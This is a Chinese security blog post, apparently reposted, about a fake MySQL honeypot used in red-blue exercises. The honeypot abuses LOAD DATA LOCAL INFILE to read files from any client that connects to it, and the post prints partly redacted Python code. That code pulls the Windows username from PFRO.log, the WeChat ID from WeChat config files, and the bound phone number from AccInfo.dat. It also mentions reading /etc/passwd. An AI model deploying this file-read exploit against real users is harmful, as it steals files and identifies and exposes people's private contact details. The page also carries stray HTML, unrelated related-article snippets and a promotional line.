<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    紅藍對抗 | 蜜罐獲取攻擊者微信ID及手機號

    VSole2022-05-16 06:44:15

    0x00 前言

    之前在打CTF的時候,多次遇到了這個漏洞。

    攻防演練期間,研究了一下蜜罐的騷操作,比如獲取百度ID、CSDN賬號、微信ID等等,對攻擊者進行攻擊者畫像。

    學習了一下原理,然后做了一些改進,利用MySQL的漏洞,獲取攻擊者手機號。

    本系統代碼非完全原創,部分代碼參照

    https://github.com/qigpig/MysqlHoneypot。

    關于MySQL任意文件讀取漏洞,網上很多大佬寫了很詳細的分析文章,本文不再復述。

    同時,如果想復現漏洞,也可選取github上其他更加簡潔的單文件server代碼。

    0x01 漏洞相關

    1.1 漏洞簡介

    Fake MySQL顧名思義,就是虛假的MySQL。

    其實這個名詞是我個人習慣的稱呼,關于完整的定義目前在網上沒有一個公認的說法。

    以下均為個人理解,如有問題,歡迎指正。

    Fake MySQL是基于構造一個偽裝的MySQL服務器,通過命令或誘導來使受害者連接此服務器,從而利用MySQL的相關漏洞進行文件讀取,或者反序列化利用。

    本文不涉及反序列化的利用,可以簡單理解為一個MySQL蜜罐,利用漏洞為LOAD DATA LOCAL INFILE的任意文件讀取。

    以上就是本文全部廢話了,話不多說,直接進入正題。

    1.2 漏洞復現及利用

    文字廢話太多,直接上圖吧。

    如圖所示當我在服務器上運行payload代碼,并設置我想要讀取的文件,即可進入監聽模式。

    當攻擊者連接我的3306端口,即可成功讀取到攻擊者電腦上的對應文件。

    Linux同理,可以讀取/etc/passwd等文件。

    那么,可以讀文件,進一步怎樣拓展呢?

    根據大佬的文章,我們可以通過讀取C:\Windows\PFRO.log文件來獲取攻擊者的用戶名,根據用戶名讀取相應文件夾中的微信配置文件,進而獲取微信ID。

    前提是微信文件保存路徑為默認。

    獲取用戶名,如圖所示

    但這種方式的缺點是,只能單文件讀取,每次需要重新設置文件名,不能實現循環讀取。

    于是,根據https://github.com/qigpig/MysqlHoneypot中的部分代碼,進行進一步的完善和修改,就有了下面的內容

    0x02 工具相關

    關注公眾號:系統安全運維,回復:666領取資料 。

    2.1 代碼相關

    開門見山,本系統代碼乍一看很完美,但以普遍理性而論,僅適用于讀取windows系統的文件。

    先看核心代碼

    def mysql_get_file_content(filename,conn,address):
        logpath = os.path.abspath('.') + "/log/" + address[0]
        if not os.path.exists(logpath):
            os.makedirs(logpath)
        conn.sendall("xxx")
        try:
            conn.recv(1024000)
        except Exception as e:
            print(e)
        try:
            conn.sendall("xx")
            res1 = conn.recv(1024000)
            # SHOW VARIABLES
            if 'SHOW VARIABLES' in res1:
                conn.sendall("xxx")
                res2 = conn.recv(9999)
                if 'SHOW WARNINGS' in res2:
                    conn.sendall("xxx")
                    res3 = conn.recv(9999)
                    if 'SHOW COLLATION' in res3:
                        conn.sendall("xxx")
                        res4 = conn.recv(9999)
                        if 'SET NAMES utf8' in res4:
                            conn.sendall("xxx")
                            res5 = conn.recv(9999)
                            if 'SET character_set_results=NULL' in res5:
                                conn.sendall("xxx")
                                conn.close()
                        else:
                            conn.close()
                    else:
                        conn.close()
                else:
                    conn.close()
            else:
                try:
                    wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
                    conn.sendall(wantfile)
                    content=''
                    while True:
                        data = conn.recv(1024)
                        print len(data)
                        content += data
                        if len(data) < 1024:
                            print 'ok'
                            break
                        
                    conn.close()
                    item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
                    if len(content) > 6:
                        with open(item, "w") as f:
                            f.write(content)
                            f.close()
                        return (True,content)
                    else:
                        return (False,content)
                except Exception as e:
                    print (e)
        except Exception as e:
            print (e)
    

    這段代碼主要有兩個作用:

    1.判斷是否為掃描器或者密碼爆破工具,進行交互握手,效果是掃描器直接爆3306弱口令。
    2.如果是直接連接,去讀取設定好的文件,并寫入本地保存。

    PS:為了防止讀取文件內容不完整,加入了while循環。

    while True:
            conn, address = sv.accept()
            first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            global files1
            global username
            global wx_id
            file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
            res,content = mysql_get_file_content(file,conn,address)
            files1.append(files1[0])
            files1.remove(files1[0])
            if res:
                if 'PFRO' in file:
                    username = get_username(content)
                    s= "xx" % (xx)
                    cursor.execute(s)
                    data = cursor.fetchall()
                    if len(data)==0:
                        s = "XX" % (xx)
                        cursor.execute(s)
                        db.commit()
                        print 'success:'+ file
                        insert_file(file,address,username)
                elif 'config.data'in file:
                    content = content
                    wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
                    sql = "xxx" % (xxx)
                    cursor.execute(sql)
                    db.commit()
                    wx_id=wxid
                    img = qrcode.make('weixin://contacts/profile/'+wxid)
                    img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') 
                    print 'success:'+ file
                    insert_file(file,address,username)
                elif 'AccInfo' in file:
                    content = content
                    phone = re.findall(r'[0-9]{11}', content)[-1]
                    sql = "xxx" % (xxx)
                    cursor.execute(sql)
                    db.commit()
                    print 'success:'+ file
                    insert_file(file,address,username)
            else:
                files1=files
                username='Administrator'
    

    這段代碼就是從文件內容獲取信息并保存到數據庫:

    1.從C:/Windows/PFRO.log中讀取用戶名
    2.從C:/Users/用戶名/Documents/WeChat Files/All Users/config/config.data中讀取wx_id
    3.從C:/Users/用戶名/Documents/WeChat Files/wx_id/config/AccInfo.dat中讀取微信綁定的手機號

    根據wx_id可生成微信二維碼,可添加好友

    根據實際測試,就算關掉了所有好友申請條件,仍可通過此二維碼發起好友申請。

    剩下的代碼無非就是,前端顯示了,這里就不展示了,直接上效果圖。

    2.2 效果圖

    首先,docker啟動。

    本來想在80端口結合jsonp獲取一下百度id以及其他信息

    但無奈公開的接口都失效了,80端口只能作為一個誘餌了

    下一步會研究一些如何獲取百度等論壇的賬號信息。

    訪問5000端口。

    登錄后

    具體效果

    目前實現了獲取微信和手機號,對于溯源來說,已經足夠用了。

    2.3 吐槽相關

    前前后后,修修改改,花了差不多五天時間才完全搞定,但還是存在bug,請多擔待。

    本來想增加linux文件的讀取,但時間和精力有限,只能后續補上。

    根據qigpig大佬的思路,本來想解決同一IP出口多用戶的問題,但想來想去,只能通過用戶名和IP進行雙重綁定,如果讀不到用戶名,就沒辦法了。

    職業不是程序員,寫代碼真的太難了。。。

    0x03 寫在最后

    紅隊大佬可參考http://www.python88.com/topic/105651進行蜜罐甄別。

    藍隊大佬不建議將本系統作為正式蜜罐部署,僅供參考和玩耍。

    mysqlrecv
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    復現 Mysql LOAD DATA INFILE 讀取客戶端任意文件漏洞
    蜜罐又叫蜜罐Honeypot,蜜罐技術本質上是一種對攻擊方進行欺騙的技術,通過布置一些作為誘餌的主機、網絡服務或者信息,誘使攻擊方對它們實施攻擊,從而可以對攻擊行為進行捕獲和分析,了解攻擊方所使用的工具與方法,推測攻擊意圖和動機,能夠讓防御方清晰地了解他們所面對的安全威脅,并通過技術和管理手段來增強實際系統的安全防護能力。
    學習了一下原理,然后做了一些改進,利用MySQL的漏洞,獲取攻擊者手機號。關于MySQL任意文件讀取漏洞,網上很多大佬寫了很詳細的分析文章,本文不再復述。
    ?相關聲明 以下內容僅限用于紅藍攻防對抗等專業領域,請勿用于非法用途。 雜談 首先,我們先講一下蜜罐的概念,你可以簡單理解較為蜜罐就是一個陷阱,故意暴露一些我們人為設計好的漏洞,讓攻擊者自投羅網。 蜜罐介紹 蜜罐是對攻擊者的欺騙技術,用以監視、檢測、分析和溯源攻擊行為,其沒有業務上的用途,所有流入/流出蜜罐的流量都預示著掃描或者攻擊行為,因此可以比較好的聚焦于攻擊流量。 蜜罐可以實現對攻擊者
    之前在打CTF的時候,多次遇到了這個漏洞。 攻防演練期間,研究了一下蜜罐的騷操作,比如獲取百度ID、CSDN賬號、微信ID等等,對攻擊者進行攻擊者畫像。 學習了一下原理,然后做了一些改進,利用MySQL的漏洞,獲取攻擊者手機號。 本系統代碼非完全原創,部分代碼參照 https://github.com/qigpig/MysqlHoneypot。 關于MySQL任意文件讀取漏洞,網上很多大
    簡介pwcrack-framework是@L-codes師傅用Ruby寫的一個密碼自動破解框架,目前提供了22個在線破解和30個離線破解接口,支持53種算法破解。特點Ruby3.1+支持Linux/OSX/Windows平臺運行支持在線和離線的進行破解密碼明文支持自動分析密文算法調用插件破解提供簡單的DSL編寫插件配置java環境擴展,支持更多算法,可安裝gem install rjb
    靶機Agile補充圖片
    2023-03-22 10:04:15
    Nmap done: 1 IP address scanned in 171.68 seconds. 添加host└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts. 注冊個賬號就讀取了。我們可以在 python 中創建一個腳本,自動實現這個過程,只需要輸入的文件路徑└─# cat lfi.py. data = {"username": "123", "password": "123", "submit": ""}
    什么是監聽端口網絡端口由其編號,關聯的IP地址和通信協議的類型標識。偵聽端口是應用程序或進程在其上偵聽的網絡端口,充當通信端點。一般而言,開放端口是一個網絡端口,它接受來自遠程位置的傳入數據包。用netstat檢查監聽端口netstat是一個命令行工具,可以提供有關網絡連接的信息。-顯示偵聽器進程的PID和名稱。僅當你以root用戶或 sudo 用戶身份運行命令時,才會顯示此信息。
    文件包含利用思路
    2021-12-10 21:28:32
    開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無需再次編寫,這種調用文件的過程一般被稱為包含。????為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
    針對DVWA編寫一個用于輔助SQL注入的工具
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类